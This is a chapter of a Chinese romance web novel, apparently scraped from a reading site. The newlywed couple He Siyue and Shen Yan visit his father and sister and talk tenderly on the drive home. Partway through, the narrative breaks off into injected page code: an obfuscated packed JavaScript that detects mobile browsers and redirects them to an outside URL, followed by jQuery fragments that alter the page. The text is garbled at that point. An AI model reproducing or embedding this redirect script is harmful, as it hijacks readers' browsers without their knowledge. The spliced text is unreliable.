45. 第 45 章

作品:《岁岁何晏

    何思玥抬手,覆上他搭在她肩头的手背。他的手很大,骨节分明,温暖而有力。


    “我知道。”她轻声说,唇角也浮起浅浅的弧度,“但我还是想说。”


    沈晏低头,在她发间落下一个轻吻,没有再多言。有些情意,本就无需赘述。


    他直起身,拿起桌上一根朴素的乌木簪子——那是何思玥平日用的。“今天想绾个什么样的?”


    何思玥看着镜中:“简单些就好。”


    沈晏应了一声,手指在她发间灵活地穿梭。


    他显然不是熟手,动作有些生涩,却极其认真,小心翼翼地拢起她的长发,试图挽成一个简单的髻。试了几次,总有一缕不听话地滑落,他也不恼,耐心地重新整理。


    何思玥静静坐着,任由他摆弄。看着他微微蹙起的眉头和全神贯注的眼神,两人虽然领证已经好几年了,而今的相处还是有一些微妙的紧张和陌生感,渐渐化作了融融的暖意。


    这个男人,愿意为她做这些最琐碎、最日常的小事,笨拙却真诚。


    终于,一个略有些松散、但还算齐整的发髻绾成了。沈晏用那根乌木簪子固定住,端详了一下镜子,似乎不太满意:“好像……歪了点。”


    “已经很好了。”何思玥抬手轻轻碰了碰,发髻松软,并不紧绷,反而有种随意的舒适感,“我很喜欢。”


    沈晏这才松了口气,脸上露出孩子气般的满意笑容。他转身从衣架上取来一件家常的藕荷色旗袍,帮她换上。动作间依旧带着那份珍重的小心翼翼。


    洗漱完毕,两人一同下了楼。


    餐厅里,阳光洒满半张桌子,吴妈已经将早餐摆放妥当。清粥小菜,虾饺晶莹,炖盅里燕窝温润,都是最家常的味道。


    早餐在静谧温馨的气氛中用完。


    碗碟撤下后,何思玥想了想,对沈晏说:“等我们吃完,去买一点东西给爸爸和希希,然后一起去爸爸那边。”


    她说得自然,“爸爸”指的自然是沈晏的父亲,沈老爷子。


    虽然婚礼从简,但新婚第二日去拜见长辈,是应有的礼数。


    沈晏闻言,眼神更加柔和,握住她的手:“好的,都听你的。”他略一沉吟,“父亲喜欢湖笔徽墨,前些日子听说‘朵云轩’新到了一批上好的。希希那丫头,最近迷上了看电影,总念叨着最新款的‘明星牌’口红,托人从香港带了两支,正好今天拿给她。”


    他总是这样,将她的心意考虑进去,并提前准备得妥妥当当。


    何思玥心下感动,点点头:“你想得周到。那……我们给爸爸再带些他爱吃的杏仁酥和茯苓饼,老字号‘王仁和’的。希希除了口红,再给她挑条时兴的丝巾吧,春天配旗袍正合适。”


    “好。”沈晏微笑应下,起身道,“我去换身衣服,让老陈备车。”


    半个时辰后,汽车驶出小洋楼,融入了上海四月上午的车水马龙。


    阳光正好,街道两旁的梧桐树已抽出嫩绿的新叶,空气中浮动着隐约的花香。


    先去“朵云轩”选了笔墨,又到“王仁和”买了点心,最后在永安百货为何思玥挑了一条浅碧色绣玉兰花的真丝纱巾给沈希希,配上那两支精致的口红,用漂亮的礼盒装好。


    沈家老宅在法租界一处僻静的弄堂深处,是一座带着小花园的三层石库门房子,闹中取静。


    车子停稳,早有佣人迎了出来,恭敬地唤着“少爷”、“少奶奶”。


    沈老爷子正在书房里戴着老花镜看报纸,听到动静,放下报纸,脸上露出笑容。他年过六旬,精神矍铄,面容与沈晏有几分相似,气质更为儒雅平和。


    “父亲。”沈晏携何思玥上前,恭敬地问好。


    “爸爸。”何思玥跟着唤了一声,将带来的礼物奉上,“给您带了点笔墨和点心,不知合不合您心意。”


    沈老爷子接过,看了看,连连点头:“好好,朵云轩的湖笔,王仁和的点心,都是我这老头子喜欢的。你们有心了。”他目光温和地看向何思玥,“思玥啊,进了我们沈家的门,就是一家人了。阿晏这孩子,有时候脾气倔,生意场上事情又多,你多担待一点。要是他敢欺负你,你来告诉我,我替你教训他。”


    话语朴实,却透着长辈的认可与爱护。何思玥心头一暖:“爸爸言重了,沈晏他……对我很好。”


    沈晏在一旁笑着插话:“父亲,您这可偏心了,还没怎样呢,就先给她撑腰了。”


    “你这小子!”沈老爷子笑骂一句,气氛顿时轻松起来。


    正说着,沈希希像只欢快的鸟儿一样从楼上跑下来,看到何思玥,眼睛一亮:“嫂子!你们来啦!”她先跟父亲和哥哥打了招呼,就亲热地挽住何思玥的胳膊。


    “希希,给你的。”何思玥将丝巾和口红的礼盒递给她。


    “呀!谢谢嫂子!”沈希希打开一看,更是惊喜,“这丝巾真漂亮!还有这口红,正是我想要的颜色!”她迫不及待地拿起丝巾在颈间比划,又对着小镜子试了试口红,青春明媚的脸上满是欢喜。


    看着妹妹高兴的样子,沈晏眼里也带着笑意。


    他陪着父亲说了会儿话,主要是汇报一些生意上的近况和时局动向,语气平稳,报喜不报忧。


    何思玥则被沈希希拉到一旁,听她叽叽喳喳地说着学校里和闺中密友的趣事。


    中午,一家人在一起用了顿家常便饭。


    饭桌上,沈老爷子问起何思玥医院的情况,听说她仍坚持每周去几次,点点头:“救死扶伤是积德的事,但也要注意身体,如今毕竟不同往日了。”言语间是长辈的关切,并无反对之意。


    何思玥恭敬应了。


    饭后,又坐了片刻,沈晏便起身告辞,说是不打扰父亲午休。沈老爷子也没多留,只是又叮嘱了几句,让两人常回来看看。


    回程的车上,何思玥靠着沈晏的肩膀,看着窗外掠过的街景。阳光透过车窗,暖暖地照在身上。


    “累吗?”沈晏问。


    “不累。”何思玥摇摇头,心里是满满的踏实感。沈家的接纳与温暖,驱散了她心底最后一丝因“新妇”身份而产生的忐忑。他的父亲慈爱,妹妹活泼,家庭和睦简单,让她感受到了一种久违的、属于“家”的宁静氛围。


    沈晏揽住她的肩,让她靠得更舒服些。“我父亲好像对你比对我这个亲儿子还要好。”他低声说,语气带着醋意。


    “希希还是那么可爱。”何思玥微笑道。


    沈晏那句带着醋意的低语,让何思玥忍不住轻笑出声。她侧过头,看着他故作委屈的侧脸,清晨阳光勾勒出他挺直的鼻梁和微抿的唇线。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085542|193555||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“沈先生,你这是……在吃醋吗?”她故意放轻了声音,带着一丝调侃。


    沈晏瞥了她一眼,手臂揽着她的力道紧了紧,将她更密实地圈在怀里,下巴蹭了蹭她的发顶,声音闷闷的:“不行吗?我父亲看你那眼神,比看我这亲儿子还慈祥。还有希希那丫头,见了你比见了我还亲热。”他说着,自己似乎也觉得有些好笑,语气里那点醋意散了大半,剩下的是满满的温柔与满足。


    何思玥心里像被羽毛轻轻搔过,泛起细细密密的甜。她抬起手,指尖轻轻碰了碰他近在咫尺的下颌,那里有清晨新冒出的、短短的胡茬,有些扎手。


    “那是因为……”她顿了顿,声音轻柔却清晰,“我是你选的妻子啊,因为他爱你,所以也想给我这个儿媳更好的。”


    简单一句话,却让沈晏的身体几不可察地微微一震。


    他低下头,深邃的目光锁住她,里面翻涌着复杂的情愫——有动容,有爱怜,还有一种深沉的、被全然接纳和理解的慰藉。


    是啊,她是他的选择,是他历经风波、跨越生死也要携手同行的人。


    父亲的认可,妹妹的喜爱,何尝不是对他选择的肯定与祝福?这份“醋意”,底下藏着的,是骄傲,是珍视,是将她全然纳入自己生命版图后的安心。


    他没有再说话,只是低下头,吻了吻她的额头。这个吻不同于昨夜的激情或清晨的珍重,更像是一个无声的印章,盖在了她刚才那句话上。


    车厢内恢复了安静,只有引擎低沉的轰鸣和窗外市井隐约的喧闹。阳光透过玻璃,在他们交握的手上跳跃。


    何思玥重新靠回他肩头,目光望向窗外。街景流转,卖花的妇人,黄包车夫,行色匆匆的路人……这浮世绘般的景象,此刻在她眼中都蒙上了一层温暖的滤镜。


    因为身侧有他,因为有了一个可以称之为“家”的归处。


    “沈晏。”她忽然轻声唤他。


    “嗯?”


    “等过些日子,医院没那么忙了,我想……去看看爹娘。”她的声音很轻,带着不易察觉的颤音,但很坚定。


    沈晏立刻明白了她的意思。去看望她安葬在西郊的父母。


    “好。”他没有任何犹豫,握住她的手,十指相扣,“我陪你去。我们一起去。”


    他的回答干脆而肯定,仿佛这是天经地义的事情。


    何思玥眼眶微热,将脸更深地埋进他肩窝,嗅着他身上清冽好闻的气息,轻轻“嗯”了一声。


    有些伤痛,需要时间去面对;有些思念,需要仪式去安放。而他,始终会陪在身边,做她的支撑,做她的屋檐。


    汽车缓缓驶入他们小洋楼所在的弄堂。午后的阳光将房子的轮廓勾勒得清晰而安宁。吴妈可能正在院子里晾晒衣物,隐约有孩子的嬉笑声从隔壁传来。


    这就是他们的生活了。


    有大家(沈家老宅)的温暖接纳,有小家(他们自己的房子)的静谧相守,就算前路未知,她贪恋的享受着当下。


    平淡,真实,却因彼此的交付与陪伴,而充满了沉甸甸的力量和暖意。


    沈晏先下车,然后绅士地伸出手,扶何思玥下来。他的手温暖有力,稳稳地托住她的手臂。


    两人相视一笑,携手走进那扇属于他们自己的、洒满阳光的大门。